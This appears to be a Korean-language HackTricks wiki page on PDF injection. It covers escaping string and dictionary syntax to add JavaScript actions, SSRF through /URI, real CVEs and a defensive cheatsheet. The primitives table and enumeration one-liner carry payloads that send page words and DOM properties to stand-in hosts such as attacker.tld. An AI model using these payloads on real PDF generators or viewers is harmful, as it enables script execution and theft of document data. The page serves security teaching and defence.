PDF Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

입력값이 PDF 파일 내부에 반영되고 있다면, PDF 데이터를 주입해 JavaScript를 실행하거나 SSRF를 수행하거나 PDF 내용을 탈취할 수 있습니다. PDF 구문은 매우 관대합니다 — 입력을 포함하는 문자열이나 사전에서 빠져나올 수 있다면 완전히 새로운 객체(또는 같은 객체에 새 키)를 덧붙일 수 있고 Acrobat/Chrome이 이를 문제없이 파싱합니다. 2024년부터 버그바운티 리포트들이 보여주었듯이 하나의 이스케이프되지 않은 괄호나 백슬래시만으로도 전체 스크립트 실행에 충분합니다.

TL;DR – 최신 공격 워크플로우 (2024-2026)

  1. 생성된 PDF에서 사용자 제어 값이 (괄호 문자열), /URI ( … ) 또는 /JS ( … ) 필드 안에 들어가는지 찾습니다.
  2. ) (문자열을 닫음)을 주입한 뒤 아래의 프리미티브 중 하나를 이어서 넣고, 문법을 유효하게 유지하기 위해 마지막에 또 다른 여는 괄호 ( 를 넣어 마무리합니다.
  3. 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 — 블라인드 버그에 유리합니다).
  4. 페이로드가 PDF 뷰어에서 실행됩니다:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

첫 번째 )는 원래 URI 문자열을 닫고, 그다음 사용자가 링크를 클릭할 때 Acrobat이 실행할 새 Action 딕셔너리를 추가합니다.

유용한 Injection Primitives

목표Payload Snippet설명
JavaScript on open/OpenAction << /S /JavaScript /JS (app.alert(1)) >>문서가 열릴 때 즉시 실행됩니다 (Acrobat에서는 작동하지만 Chrome에서는 작동하지 않습니다).
JavaScript on link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>PDFium 및 Acrobat에서 /Link 주석을 제어할 수 있다면 작동합니다.
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)this.getPageNthWord을 JS 내부에서 결합하여 콘텐츠를 탈취할 수 있습니다.
Server-Side SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.위와 같지만 내부 URL을 대상으로 합니다 — PDF가 /URI를 준수하는 백오피스 서비스에서 렌더링될 때 특히 유용합니다.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>페이지/주석/폼 딕셔너리에 첨부하여 열기/포커스 시 실행되도록 합니다.
Line Break for new objects\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj라이브러리가 개행 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다.

Embedded Actions as Injection Targets

PDF 뷰어는 /OpenAction/AA (Additional Actions)와 같은 embedded actions를 문서가 열리거나 특정 이벤트가 발생할 때 실행되는 일급 기능으로 취급합니다. 액션을 허용하는 어떤 딕셔너리(Catalog, Page, Annotation, 또는 Form field)에 주입할 수 있다면 /AA 트리를 붙여 열기/포커스 시 JavaScript를 트리거할 수 있습니다.

예시 페이로드 for generator-side object injection (원래 문자열/딕셔너리를 닫고 /AA를 주입):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

이 패턴은 공격자가 제어하는 입력이 addJS(또는 특정 AcroForm 필드)에 전달되어 의도한 JavaScript 문자열을 탈출하고 Additional Action dictionary를 주입하는 최근의 jsPDF 이슈들과 일치합니다.

Blind Enumeration Trick

Gareth Heyes (PortSwigger)는 알 수 없는 문서 내부의 모든 객체를 열거하는 one-liner를 공개했습니다 — 생성된 PDF를 볼 수 없을 때 유용합니다:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

코드는 Acrobat DOM을 순회하면서 모든 property/value 쌍에 대해 외부 요청을 보내 파일의 JSON-ish 덤프를 제공합니다. 전체 기법은 백서 “Portable Data exFiltration”을 참조하세요.

Real-World Bugs (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: 공격자 제어 문자열이 JS 리터럴을 닫고 /AA/O/JavaScript 액션을 주입하여 열림/포커스 시 실행될 수 있습니다.
  • CVE-2024-4367 – Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행: 조작된 /JavaScript 액션으로 샌드박스를 우회했습니다.
  • Bug bounty 2024-05 – 대형 핀테크에서 고객이 제공한 인보이스 메모가 /URI에 들어가도록 허용했습니다; file:/// URI를 사용해 내부 메타데이터 호스트로 SSRF를 시연한 뒤 리포트에 $10k가 지급되었습니다.
  • CVE-2023-26155node-qpdf의 PDF 경로 미검증으로 인한 command-injection은 PDF 레이어 이전에도 백슬래시와 괄호를 이스케이프하는 것이 얼마나 중요한지를 보여줍니다.

Defensive Cheatsheet

  1. Never concatenate raw user input inside () strings or names. PDF 명세 §7.3에 따라 \, (, )를 이스케이프하거나 16진수 문자열 <...>을 사용하세요.
  2. 링크를 만들 때는 /URI (https://…)를 선호하고 반드시 완전히 URL-encode 하세요; 클라이언트 뷰어에서 javascript: 스킴을 차단하세요.
  3. PDF를 후처리할 때 /OpenAction, /AA (additional actions), /Launch, /SubmitForm/ImportData 딕셔너리를 제거하거나 검증하세요.
  4. 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 액션을 제거하는 headless converter(예: qpdf –decrypt –linearize)로 렌더링하세요.
  5. PDF 뷰어를 최신 상태로 유지하세요; PDF.js < 4.2.67 및 2024년 7월 이전의 Acrobat Reader 패치는 사소한 코드 실행을 허용할 수 있습니다.
  6. 클라이언트 측 생성기(예: jsPDF)를 사용하는 경우, 신뢰할 수 없는 입력을 addJS나 PDF 액션 딕셔너리 내부로 들어가는 AcroForm 세터에 전달하지 마세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기